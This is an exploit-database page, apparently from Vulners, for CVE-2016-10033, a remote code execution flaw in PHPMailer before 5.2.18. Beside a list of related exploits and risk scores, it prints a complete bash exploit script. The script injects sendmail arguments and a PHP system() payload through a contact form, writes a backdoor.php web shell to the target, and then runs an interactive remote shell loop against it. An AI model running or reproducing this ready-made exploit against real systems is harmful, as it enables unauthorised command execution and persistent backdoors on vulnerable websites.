PHPMailer < 5.2.18 - Remote Code Execution

🗓️ 26 Dec 2016 00:00:00Reported by Dawid GolunskiType

exploitdb🔗 www.exploit-db.com👁 764 Views

PHPMailer < 5.2.18 Remote Code Executio

Reporter	Title	Published	Views	Family All 167
GithubExploit	Exploit for Argument Injection in Phpmailer_Project Phpmailer	10 May 201712:01	–	githubexploit
GithubExploit	Exploit for Argument Injection in Phpmailer_Project Phpmailer	26 Mar 202613:28	–	githubexploit
GithubExploit	Exploit for Argument Injection in Phpmailer_Project Phpmailer	10 May 201703:18	–	githubexploit
GithubExploit	Exploit for Argument Injection in Phpmailer_Project Phpmailer	9 Feb 201814:53	–	githubexploit
GithubExploit	Exploit for Argument Injection in Phpmailer_Project Phpmailer	26 Dec 201613:39	–	githubexploit
0day.today	PHPMailer 5.2.17 - Remote Code Execution Exploit	26 Dec 201600:00	–	zdt
0day.today	PHPMailer < 5.2.18 Remote Code Execution Vulnerability	26 Dec 201600:00	–	zdt
0day.today	PHPMailer 5.2.20 - Remote Code Execution Exploit	28 Dec 201600:00	–	zdt
0day.today	PHPMailer 5.2.18 - Remote Code Execution (Python) Exploit	29 Dec 201600:00	–	zdt
0day.today	PHPMailer Sendmail Argument Injection Exploit	4 Jan 201700:00	–	zdt

#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033

echo '[+] CVE-2016-10033 exploit by opsxcq'

if [ -z "$1" ]
then
    echo '[-] Please inform an host as parameter'
    exit -1
fi

host=$1

echo '[+] Exploiting '$host

curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'

cmd='whoami'
while [ "$cmd" != 'exit' ]
do
    echo '[+] Running '$cmd
    curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
    echo
    read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'

26 Dec 2016 00:00Current

10High risk

Vulners AI Score10

CVSS 27.5

CVSS 3.19.8

EPSS0.94418

SSVC

PHPMailer &lt; 5.2.18 - Remote Code Execution

PHPMailer < 5.2.18 - Remote Code Execution